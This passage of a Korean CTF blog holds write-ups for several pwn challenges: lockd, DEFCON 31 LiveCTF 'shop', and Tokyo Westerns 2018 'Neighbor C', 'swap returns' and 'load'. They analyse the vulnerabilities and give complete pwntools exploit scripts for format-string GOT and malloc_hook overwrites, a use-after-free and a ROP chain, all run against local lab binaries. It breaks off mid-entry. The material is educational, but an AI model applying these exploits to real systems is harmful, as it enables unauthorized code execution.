첫 번째 인자인 fmt_0804A0C0에 password가 담겨있어야 하는데, 다행히 memcmp()를 16바이트만 하는 반면 입력은 20바이트를 받으므로 4바이트의 여유 공간이 생긴다. 따라서 key 뒤에 ;sh를 넣어주면 GOT overwrite가 성공했을 때 다음과 같이 함수가 실행된다.

  // sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);
  system("c39f30e348c07297;sh");

앞의 c39f30e348c07297 부분은 없는 명령이므로 무시되고, 다음 명령인 sh가 실행되어 shell을 실행시킬 수 있다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "lockd"
bp = {
    'read_password' : 0x08048A7D,
    'unlock' : 0x804897A,
    'lock' : 0x8048877,
    'syslog_of_lock' : 0x804896e,
}

gs = f'''
b *{bp["syslog_of_lock"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def floor_and_room(s, floor, room):
    s.recv()
    s.sendline(str(floor).encode())
    s.recv()
    s.sendline(str(room).encode())
    s.recv()

def lock(s, key, name):
    s.sendline(b"1")
    s.recv()
    s.sendline(key)
    s.recv()
    s.sendline(name)
    return s.recv()

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)

    floor_and_room(s, 1, 2)
    
    # [+] key : c39f30e348c07297
    # key = ''.join(guess_key(s))
    # log.success(f"key : {key}")
    key = b"c39f30e348c07297"
    s.send(key)
    s.recv()

    log.info(f"key : {key}")
    log.info(f"sprintf got : {hex(elf.got['sprintf'])}")
    log.info(f"system plt : {hex(elf.plt['system'])}")

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    value = elf.plt['system']
    index = 62
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    s.sendline(b"1")
    s.recv()
    s.sendline(key + b";sh")
    s.interactive()

if __name__=='__main__':
    main()

DEFCON 31 LiveCTF - shop

2024-07-16T00:00:00+00:00

0x00. Introduction

[*] '/home/user/uaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structures

struct credential {
    char is_admin;      // alignment 때문에 어차피 8바이트를 차지
    struct shelf *shelf_ptr;
    char *username;
    char *password;
    struct credential *next_cred;
}

struct shelf {
    long count;
    struct item *item_ptr;
}

struct item {
    long number;
    long price;
    char *name;
    char *description;
}

Goal

unsigned __int64 hidden_1C83()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( LOBYTE(login_info_4108->is_admin) )
    system("/bin/sh");
  else
    puts("Not an admin");
  return v1 - __readfsqword(0x28u);
}

로그인 이후의 메뉴에서 7번을 선택하면 호출되는 숨겨진 hidden_1C83()이 존재한다. 여기에서 login_info의 첫 바이트, 즉 is_admin의 값이 0이 아니면 쉘을 띄워준다.

0x01. Vulnerability

unsigned __int64 add_item_1357()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count + 1));
      if ( tmp )
      {
        ++shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
        memcpy(&shelf_ptr->item_ptr[shelf_ptr->count - 1], &selected, sizeof(shelf_ptr->item_ptr[shelf_ptr->count - 1]));
      }
  ...
}

unsigned __int64 remove_item_14B6()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count - 1));
      if ( tmp )
      {
        --shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
      }
      else
      {
        puts("Error removing item");
      }
  ...
}

add_item_1357()에서 item을 추가하면 item_ptr에 힙 영역이 할당된다. 이것을 remove_item_14B6()에서 item을 삭제할 때 청크 사이즈만 줄여서 재할당하는데 사이즈가 0이 됐을 때 realloc()에서 NULL이 리턴된다.

그런데 shelf_ptr->item_ptr의 값이 초기화되지 않고 그대로 남아있고, 삭제 이후 다시 add_item_1357()을 호출할 때 해제된 영역에 접근이 가능하기 때문에 UAF 취약점이 존재한다.

0x02. Exploit

unsigned __int64 open_account_1932()
{
  ...
      tmp = malloc(0x28uLL);
      LOBYTE(tmp->is_admin) = 0;
  ...
}

open_account_1932()를 보면 계정을 생성하고 바로 is_admin을 0으로 만든다.

따라서 A 계정을 만들고 item을 추가 후 삭제하여 해제된 영역을 B 계정의 credential 구조체가 가리키도록 exploit을 구성했다.

open_account A
add_item 1
remove_item 0
logout
open_account B

이러한 순서로 페이로드를 작성해서, A의 item_ptr과 B의 credential이 같은 영역에 위치하게 만들 수 있고,

login as A
add_item 2

다시 A로 로그인한 후에 item을 추가해서 item->number를 복사하는 과정에서 is_admin이 덮이는 시나리오를 생각했으나…

# Credential of B - BEFORE
gef➤  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555500      0x00005555555593a0
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

# Credential of B - AFTER
gef➤  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555559      0x4ec540a62b019163
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

쉘이 떨어져서 실제 값이 잘 덮였는지 확인해보니 item->number가 아닌 해제된 chunk의 메타 데이터로 덮여있었다.

곰곰이 생각해보니 다음과 같은 문제가 있었다.

remove_item_14B6()에서 realloc()이 NULL을 리턴해서 item_ptr 초기화는 물론 count 값도 작아지지 않음
다시 add_item_1357()를 하는 과정에서 count 값이 아직 1이므로 0x40만큼 realloc()을 요청함
사이즈도 맞지 않거니와 B의 credential이 있는 영역은 다시 free된 적도 없기 때문에 아예 다른 영역이 할당됨

결과적으로는 realloc 과정에서 메타 데이터가 쓰여지면서 is_admin이 덮이게 되어 다행히 exploit이 성공한다. 어쩌다 보니 unintended solution으로 푼 것 같다… ㅋㅋㅋㅋ

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

BINARY = "uaf"
LIBRARY = "libc.so.6"

code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x1DC7,
    'open_account' : code_base + 0x1932,
    'hidden' : code_base + 0x1C83,
}

gs = f'''
b *{bp['open_account']}
b *{bp['hidden']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def menu(s, inputs: list) :
    for i in range(len(inputs)):
        r = s.recvuntil(b': ').decode()
        if i == 0:
            print(r.split('\n')[int(inputs[i]) - 1])
        s.sendline(inputs[i].encode())
    return

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    menu(s, ['2', 'aaaa', '1111'])  # open_account of A
    menu(s, ['2', '1'])             # add_item 1
    menu(s, ['3', '0'])             # remove_item 0
    menu(s, ['5'])                  # logout
    menu(s, ['2', 'bbbb', '2222'])  # open_account of B
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'aaaa', '1111'])  # login as A
    menu(s, ['2', '2'])             # add_item 2
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'bbbb', '2222'])  # login as B
    menu(s, ['7'])                  # hidden
    s.interactive()

if __name__=='__main__':
    main()

Tokyo Westerns CTF 2018 - Neighbor C

2024-07-14T00:00:00+00:00

0x00. Introduction

[*] '/home/user/neighbor'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Environment

제공된 libc가 예전 버전이라 최신 loader로 로드가 안된다. 그렇다고 로컬 libc를 이용하면 풀이가 어려워지기 때문에 docker로 서버를 구성해서 환경을 구축하기로 했다.

➜  sudo docker build -t 'neighbor' .
➜  sudo docker run -d -p 9999:9999 --name neighbor neighbor
➜  sudo docker top neighbor
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
user                1001143             1001123             0                   Jul13               ?                   00:00:00            /bin/sh -c socat TCP-LISTEN:9999,reuseaddr,fork EXEC:"/home/user/neighbor",pty,raw,echo=0
user                1001169             1001143             0                   Jul13               ?                   00:00:00            socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/user/neighbor,pty,raw,echo=0

이렇게 서버를 구성하면 9999 포트를 리스닝하다가 연결이 되면 EXEC:/home/user/neighbor를 통해 neighbor 프로세스를 실행한다.

그래서 기존의 exploit.py 포맷으로는 연결이 불가능하고, 다음과 같이 수정해줘야 제대로 디버깅을 할 수 있다.

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

그리고 디버거가 libc를 제대로 읽어서 심볼을 로드하기 위해서 sysroot 인자를 줬는데, 그러면 현재 위치를 root 디렉토리로 인식하고 libc 파일을 찾게 된다. 따라서 vmmap을 통해 libc 경로를 확인하고 그에 맞춰서 디렉토리를 생성한 후 libc 파일을 복사해주면 된다.

➜  ls ./lib/x86_64-linux-gnu
libc-2.23.so

0x01. Vulnerability

void __fastcall __noreturn sub_8D0(FILE *stderr)
{
  while ( fgets(format, 256, stdin) )
  {
    fprintf(stderr, format);
    sleep(1u);
  }
  exit(1);
}

void __noreturn sub_937()
{
  puts("Hello neighbor!");
  puts("Please tell me about yourself. I must talk about you to our mayor.");
  sub_8D0(stderr);
}

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sleep(0);
  sub_937();
}

바이너리를 보면 sub_8D0()에서 fprintf에 format을 직접 입력할 수 있어 FSB가 발생한다.

저번 문제에서도 경험했지만… 취약점이 간단하면 exploit이 복잡해지는데 이 문제도 그런 것 같다.

0x02. Exploit

Stack Control

취약점을 활용하기에 앞서 문제는 format이 전역변수이기 때문에 stack에 값을 입력할 수가 없다. 그러면 stack에 포인터를 만들 수 없어서 FSB의 핵심인 %n을 통해 포인터가 가리키는 곳에 값을 쓰는 것이 불가능하다. 따라서 stack에 있는 값으로 적절하게 원하는 곳에 값을 쓸 수 있는 primitive를 획득해야 한다.

gef➤  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2540
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebf0      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

그래서 fprintf()를 할 때의 stack을 출력해보았는데, push rbp를 하다가 생긴 stack 영역의 주소가 두 개 있었다. 여기에서 왜 굳이 main() -> sub_937() -> sub_8D0()으로 함수를 호출할까에 대한 의문이 풀렸는데, Double Staged FSB가 가능하게 하기 위함이었다.

0x7fffffffebd0($rsp+0x20)이 0x7fffffffebe0($rsp+0x30)을 가리키고 있어서 FSB를 이용하면 0x7fffffffebe0에 원하는 주소를 구성할 수 있다.

0x7fffffffebd0이 9번째 format string이기 때문에, 다음과 같이 payload를 작성하면 0x7fffffffebe0에 담겨있는 값을 컨트롤할 수 있다.

%1c%9$hhn : 0x00007fffffffebf0 -> 0x00007fffffffeb01
%258c%9$hn : 0x00007fffffffebf0 -> 0x00007fffffff0102
%16909060c%9$n : 0x00007fffffffebf0 -> 0x00007fff01020304

디버깅 환경에서는 편의를 위해 ASLR을 꺼놓았기 때문에 $rsp의 첫 바이트가 0xb0로 고정되어있지만, 실제 서버 환경에서는 ASLR이 켜져있을 것이므로 이 때 1/16 확률로 exploit 성공률이 떨어지게 된다.

아무튼 로컬 환경에서는 에러 메세지도 볼 수 있기 때문에 fprintf(stderr, format) 결과를 볼 수 있었는데, 서버 환경에서는 에러 메세지를 볼 수가 없다. 따라서 위 stack control을 통해 먼저 해야할 것은 stderr를 stdout으로 만들어서 다음 단계로 넘어가는 것이라고 판단했다.

Libc Leak

# fprintf(stderr, format);
gef➤  x/5i 0x55555540090e
   0x55555540090e:      mov    rax,QWORD PTR [rbp-0x8]
   0x555555400912:      lea    rsi,[rip+0x200747]        # 0x555555601060
   0x555555400919:      mov    rdi,rax
   0x55555540091c:      mov    eax,0x0
   0x555555400921:      call   0x555555400778 <fprintf@plt>

fprintf의 stderr는 libc의 Data영역에 있는 stderr가 아닌, sub_8D0()를 호출할 때 인자로 전달한 stack에 있는 stderr이다. 그리고 이 stderr는 $rbp-0x8으로 접근할 수 있는데, 이 주소는 0x7fffffffebc8($rsp+0x18)이다.

다행히 컨트롤할 수 있는 0x7fffffffebe0에 이미 stack 영역의 주소가 담겨있으므로, 첫 바이트만 0xc8으로 덮으면 0x7fffffffebe0이 0x7fffffffebc8을 가리키게 된다. 그러면 0x7fffffffebe0이 11번째 format string이기 때문에 stderr를 stdout으로 바꿀 수 있다.

gef➤  x/gx 0x555555601020
0x555555601020 <stdout>:        0x00007ffff7dd2620
gef➤  x/gx 0x555555601040
0x555555601040 <stderr>:        0x00007ffff7dd2540

하지만 여기에서도 stderr와 stdout의 두 번째 바이트가 다르기 때문에, 0x7fffffffebc8의 첫 두 바이트를 0x2620으로 덮어쓰게 되면 ASLR에 의해 또다시 exploit 확률이 1/16이 된다.

최종적으로는 1/256 확률로 exploit이 가능하다.

'0x7ffff7dd3790 0x7ffff7b04360 0x7ffff7dd3780 0x7ffff7ff2700 0x555555400a88 0x7ffff7dd2540 (nil) 0x7ffff7dd2620 0x7fffffffebe0 0x555555400962 0x7fffffffebc8 0x5555554009d7 0x5555554009f0 0x7ffff7a2d840 \n'

gef➤  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

이렇게 얻어진 stdout으로 format string을 출력해본 것과 실제 stack의 내용을 비교하면 위와 같다.

자세히 보면 5번째 format string부터 stack의 내용과 일치하는 것을 확인할 수 있는데, stack 앞의 format string은 다음 calling convention에 따라 레지스터의 값들을 출력해준다고 한다.

rsi, rdx, rcx, r8, r9

하지만 위 경우는 rdx부터 출력되는 것을 볼 수 있는데, fprintf에 두 번째 인자가 들어가서 그런게 아닐까 생각한다.

아무튼 다시 돌아와서 stack의 10번째 값에 libc의 주소가 들어가있으므로 offset을 계산해서 빼주면 libc의 base 주소를 획득할 수 있다.

Triggering `malloc`

이제 가장 중요한 어디에 무엇을 쓸 것인지에 대한 부분인데, 예전 libc라서 malloc_hook을 사용할 수 있다. 따라서 어디에는 결정되었고, one shot 가젯을 확인해보았다.

➜  one_gadget libc-2.23.so
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

다행히 조건이 빡세지 않아서 확인해봤는데, 0xf1247에 위치한 가젯이 활용할 수 있어 보였다. 따라서 무엇을도 자연스럽게 해결되었는데, 막상 생각해보니 malloc을 어디선가 호출해야 malloc_hook이 호출될 것인데…

while문 흐름상 호출되는 함수는 fgets와 fprintf밖에 없다.

혹시 함수 내부적으로 malloc이 호출되는지 확인해보려고 했는데, fgets는 간단해서 malloc이 없다는 것을 확인할 수 있었다. 반면 fprintf는 vfprintf을 호출하는데 이 안에 너무 많은 코드가 있어서 확인이 어려웠다.

그래서 구글링을 해보니 정보가 조금 있었다.

확인해보니 format string을 통해 만들어진 output string이 사이즈가 0x10001 이상이면 malloc을 트리거할 수 있는 것 같다.

그래서 거꾸로 malloc을 호출하는 함수, j_malloc을 호출하는 함수를 xref해봤는데 vfprintf가 있는 것 까지는 확인했다.

Arbitrary Write

gef➤  x/10gx $rsp
0x7fffffffebb0: 0x0000555555400a88      0x00007ffff7dd2540
0x7fffffffebc0: 0x0000000000000000      0x00007ffff7dd2620
0x7fffffffebd0: 0x00007fffffffebe0      0x0000555555400962
0x7fffffffebe0: 0x00007fffffffebc8      0x00005555554009d7
0x7fffffffebf0: 0x00005555554009f0      0x00007ffff7a2d840

자, 다시 stack을 보면 0x7fffffffebc0($rsp+0x10)이 NULL로 비어있다.

이 비어있는 공간(free_space)에 Double Staged FSB를 이용해 1차적으로 우리가 원하는 주소(addr)을 만들어주고, 만들어진 주소를 포인터로 사용해 다시 Double Staged FSB를 이용하여 원하는 값(value)을 쓸 것이다.

당연히 addr은 malloc_hook이 될 것이고, value는 로딩된 위치의 one shot 가젯이 될 것이다. 이 과정을 python으로 만들면 다음과 같이 만들 수 있다.

def arbitrary_write(s, addr, value):
    write_primitive(s, addr, value & 0xffff)
    write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
    write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
    write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)

def write_primitive(s, addr, value):
    free_space = rsp + 0x10
    stack_control(s, free_space, addr & 0xffff)
    stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
    stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
    stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)

    payload = f"%{value}c".encode()
    payload += b"%7$hn"
    s.sendline(payload)

def stack_control(s, stack, value):
    payload = f"%{stack}c".encode()
    payload += b"%9$hhn"
    s.sendline(payload)

    payload = f"%{value}c".encode()
    payload += b"%11$hn"
    s.sendline(payload)

사실 불필요한 payload가 많이 보내져서 효율적이진 않지만, 하다보니 욕심이 나서 라인 하나로 arbitrary write를 할 수 있게 만들었다.

arbitrary_write(s, malloc_hook, one_gadget)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "neighbor"
LIBRARY = "libc-2.23.so"

code_base = 0x0000555555400000
rsp = 0xb0
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247
bp = {
    'call_8d0' : code_base + 0x95D,
    'fgets' : code_base + 0x8FA,
    'fprintf' : code_base + 0x921,
}

gs = f'''
b *{bp['call_8d0']}
b *{bp['fprintf']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def arbitrary_write(s, addr, value):
    write_primitive(s, addr, value & 0xffff)
    write_primitive(s, addr + 2, (value & 0xffff0000) >> 16)
    write_primitive(s, addr + 4, (value & 0xffff00000000) >> 32)
    write_primitive(s, addr + 6, (value & 0xffff000000000000) >> 48)

def write_primitive(s, addr, value):
    free_space = rsp + 0x10
    stack_control(s, free_space, addr & 0xffff)
    stack_control(s, free_space + 2, (addr & 0xffff0000) >> 16)
    stack_control(s, free_space + 4, (addr & 0xffff00000000) >> 32)
    stack_control(s, free_space + 6, (addr & 0xffff000000000000) >> 48)

    payload = f"%{value}c".encode()
    payload += b"%7$hn"
    s.sendline(payload)
    s.recv(0xffff)
    sleep(1)

def stack_control(s, stack, value, stderr=False):
    if value == 0:
        return
    log.info(f"writing {hex(value)} to {hex(stack)}")
    payload = f"%{stack}c".encode()
    payload += b"%9$hhn"
    s.sendline(payload)
    if stderr == False:
        s.recv(0xffff)
    sleep(1)

    payload = f"%{value}c".encode()
    payload += b"%11$hn"
    s.sendline(payload)
    if stderr == False:
        s.recv(0xffff)
    sleep(1)

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen("sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{print $1}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recv()

    # overwrite stderr in stack to stdout
    stack_control(s, rsp + 0x18, 0x2620, stderr=True)

    # leak libc base
    payload = b"%14$p"
    s.sendline(payload)
    libc = int(s.recv(), 16) - 0x20840
    sleep(1)
    malloc_hook = libc + malloc_hook_offset
    one_gadget = libc + one_gadget_offset
    log.info(f"libc : {hex(libc)}")
    log.info(f"malloc_hook : {hex(malloc_hook)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # write one_gadget address to malloc_hook
    arbitrary_write(s, malloc_hook, one_gadget)

    # trigger malloc -> malloc_hook
    s.sendline(f"%{0x21000}c".encode())
    s.recv(0x21000)
    sleep(1)
    s.interactive()

if __name__=='__main__':
    main()

Tokyo Westerns CTF 2018 - swap returns

2024-07-12T00:00:00+00:00

0x00. Introduction

[*] '/home/user/swap_returns'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

int __fastcall __noreturn main()
{
  ...
      print_menu();
      choice = read_int();
      if ( choice == 1 )
      {
        puts("1st address: ");
        __isoc99_fscanf(stdin, "%lu", &first);
        puts("2nd address: ");
        __isoc99_fscanf(stdin, "%lu", &second);
      }
      if ( choice == 2 )
      {
        tmp = *first;
        *first = *second;
        *second = tmp;
        tmp = 0LL;
      }
  ...
}

값을 두 개 입력받고, 그 값이 가리키는 값을 서로 바꿔준다.

쉽게 말하면 두 주소를 입력받아 주소에 저장된 값을 서로 바꿔준다.

0x01. Vulnerability

문제에서 강력한 primitive를 주었지만 생각보다 해볼 만한 것이 없었다.

우선 지금 가지고 있는 것으로부터 할 수 있는 것을 생각해보면, 쓰기 권한이 있고, 고정적인 주소값들끼리 swap이 가능하다.

따라서 먼저 이러한 조건이 맞는 주소를 확인해보았다.

Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/user/swap_returns
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/user/swap_returns
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/user/swap_returns
0x00007ffff7d87000 0x00007ffff7d8a000 0x0000000000000000 rw-
0x00007ffff7d8a000 0x00007ffff7db2000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7db2000 0x00007ffff7f47000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f47000 0x00007ffff7f9f000 0x00000000001bd000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9f000 0x00007ffff7fa0000 0x0000000000215000

Tokyo Westerns CTF 2018 - load

2024-07-10T00:00:00+00:00

0x00. Introduction

[*] '/home/user/load'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

0x01. Vulnerability

int __fastcall load_file_4008FD(void *buf, const char *file_name, __off_t offset, size_t size)
{
  int fd; // [rsp+2Ch] [rbp-4h]

  fd = open(file_name, 0);
  if ( fd == -1 )
    return puts("You can't read this file...");
  lseek(fd, offset, 0);
  if ( read(fd, buf, size) > 0 )
    puts("Load file complete!");
  return close(fd);
}

load_file_4008FD()를 보면 입력받은 파일명을 open해서 내용을 size만큼 읽은 후 main()의 buf 변수에 써준다.

이 때 file_name을 /proc/self/fd/0으로 조작해준다면, 파일의 내용을 읽는 것이 아닌 stdin을 읽어서 buf에 쓰는 꼴이 된다.

  char buf[32]; // [rsp+0h] [rbp-30h] BYREF
  size_t size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

main()의 buf는 rbp-0x30에 위치해있고 원하는 만큼 size를 입력할 수 있으니 BOF 취약점이 발생한다.

0x02. Exploit

BOF 취약점이 있으니 libc leak을 하려고 했는데 PLT가 있는 puts()든 _printf_chk()든 이상하게 출력이 안됐다.

그래서 디버깅을 해보니 puts()의 리턴 값이 -1인 것을 확인했고, 뭔가 에러가 발생했음을 알았다. 언제 이런 에러가 발생하는지 찾아보다가 stdout에 문제가 생기면 그럴 수 있다는 정보를 찾아서 확인해보니…

int close_4008D8()
{
  close(0);
  close(1);
  return close(2);
}

load_file_4008FD()이 끝난 후 main()이 종료되기 전에 close_4008D8()라는 함수가 호출되는데, 여기에서 stdout을 close해버린다. 그래서 구글링을 열심히 해보니 /dev/tty를 open하면 다시 stdout을 살릴 수 있다는 것을 알았다.

문제는 /dev/tty를 어디에 넣어놓고 open()에 전달할 것이냐인데, BOF 취약점을 트리거하기 위해 file_name에 /proc/self/fd/0을 넣는 과정에서 \x00을 하나 추가하고 /dev/tty를 전달하면 될 것 같았다.

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

위 payload를 ROP chain에 3번 넣어서 /proc/self/fd/에 순서대로 0, 1, 2가 생성되는 것을 확인했다.

이렇게 leak을 하는데에는 성공했으나 stdin을 살렸음에도 다음 playoad를 전송하는 것에 실패했다. 그래서 고민이 됐던게 leak을 해봤자 다음 입력을 줄 수가 없으므로 한번에 입력을 줘서 flag를 open -> read -> write를 다 시켜야하는데 rdx 관련 가젯이 없다.

그러면 read의 세 번째 인자인 size 컨트롤이 불가능하기 때문에 open("flag", 'r');을 한 이후의 rdx 값이 내용을 읽어오기에 충분히 큰 값이기를 기도해야하는데… 실제로 확인해보니 open이 종료되고 난 rdx 값이 0이었다.

어떻게 출력을 할지 한참을 고민하다가…

  load_file_4008FD(buf, byte_601040, offset, size);

마침 동일한 로직을 수행하는 함수가 코드 영역에 있었다!

rdi : pop rdi; ret; 가젯 활용, free space인 byte_601040
rsi : pop rsi; pop r15; ret; 가젯 활용, BOF 트리거 할 때 넣은 flag 위치
rdx : open 종료 후 0
rcx : open 종료 후 0x7ffff7e9e53b (충분히 큰 값)

이런식으로 레지스터를 컨트롤해주면 flag를 출력할 수 있었다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

DEBUG = True
BINARY = "load"
LIBRARY = "libc.so.6"

pr = 0x0000000000400a73
ppr = 0x0000000000400a71
bp = {
    'read_of_load_file' : 0x400966,
    'main' : 0x400817,
    'end_of_main' : 0x4008A8,
    'close' : 0x4008D8,
    'read_str' : 0x400986,
    'file_name' : 0x601040,
    'load_file' : 0x4008FD,
}

gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def send_msg(s, msg):
    print(s.recvuntil(b": "))
    s.sendline(msg.encode())

def main():
    if(len(sys.argv) > 1):
        s = process(BINARY)
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    send_msg(s, "/proc/self/fd/0\x00/dev/tty\x00flag\x00")
    send_msg(s, "0")
    send_msg(s, "1024")

    payload = b"A" * 0x30
    payload += b"B" * 8

    # open("/dev/tty", O_RDWR | O_CREAT)
    payload_open = p64(ppr)
    payload_open += p64(66)                     # pop rsi
    payload_open += p64(0)                      # pop r15
    payload_open += p64(pr)
    payload_open += p64(bp['file_name'] + 0x10) # pop rdi
    payload_open += p64(elf.plt['open'])

    # open 3 times -> open 0, 1, 2
    payload += payload_open * 3

    # load_file_4008FD(byte_601040, "flag", offset, size)
    payload += p64(ppr)
    payload += p64(bp['file_name'] + 0x19)      # pop rsi
    payload += p64(0)                           # pop r15
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(bp['load_file'])

    # puts(byte_601040)
    payload += p64(pr)
    payload += p64(bp['file_name'])             # pop rdi
    payload += p64(elf.plt['puts'])

    log.info(f"payload length : {hex(len(payload))}")
    s.sendline(payload)
    pause()
    print(s.recv().split(b"\n")[2])

if __name__=='__main__':
    main()

Codegate CTF 2018 Qual - BaskinRobins31

2024-07-09T00:00:00+00:00

0x00. Introduction

[*] '/home/user/BaskinRobins31'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

베스킨라빈스 게임을 거꾸로해서 1~3까지의 숫자를 고르면 (중요) 31에서 빼고, 마지막 숫자 0을 부르는 사람이 지는 게임을 구현했다.

0x01. Vulnerability

